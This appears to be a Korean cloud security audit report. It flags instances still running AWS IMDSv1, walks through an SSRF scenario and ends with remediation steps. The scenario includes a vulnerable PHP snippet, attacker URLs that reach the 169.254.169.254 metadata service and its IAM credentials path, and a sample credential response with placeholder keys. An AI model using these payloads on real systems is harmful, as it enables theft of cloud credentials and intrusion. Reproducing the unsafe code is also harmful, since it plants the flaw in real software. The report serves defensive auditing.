클라우드 설정 진단 - IMDS v1 메타데이터 SSRF
점검 결과
| 인스턴스 | IMDS 버전 | 상태 | 평가 |
|---|
| prod-web-01 | v1 (HTTP) | 취약 | 위험! |
| app-server-02 | v1 (HTTP) | 취약 | 위험! |
| db-server-01 | v2 (IMDSv2 토큰) | 보호됨 | 안전 |
SSRF 공격 시나리오
[취약한 웹 애플리케이션]
app.php:
$url = $_GET['url'];
$content = file_get_contents($url);
echo $content;
[공격자의 페이로드]
http://prod-web-01/app.php?url=http://169.254.169.254/latest/meta-data/
[반환 데이터]
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
hostname
iam/
instance-id
instance-type
local-hostname
local-ipv4
mac
metrics/
network/
placement/
public-hostname
public-ipv4
reserved-words/
security-groups
services/
[민감한 정보 추출]
http://169.254.169.254/latest/meta-data/iam/security-credentials/
[IAM 역할명 얻음]
http://169.254.169.254/latest/meta-data/iam/security-credentials/prod-role
{
"Code" : "Success",
"LastUpdated" : "2024-06-15T14:23:45Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "AKIAIOSFODNN7EXAMPLE",
"SecretAccessKey" : "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
"Token" : "...",
"Expiration" : "2024-06-15T20:23:45Z"
}
[결과]
- AWS 자격증명 탈취
- 다른 AWS 리소스 무단 접근
- 데이터베이스 무단 접근
- 다른 인스턴스로 횡이동
조치 가이드
- IMDSv2 필수 사용: PutMetadataOptions로 강제
- 인스턴스 메타데이터 토큰 필수: 호스트 기반 방화벽
- WAF 규칙: 169.254.169.254 접근 차단
- IAM 역할 제한: 필요한 권한만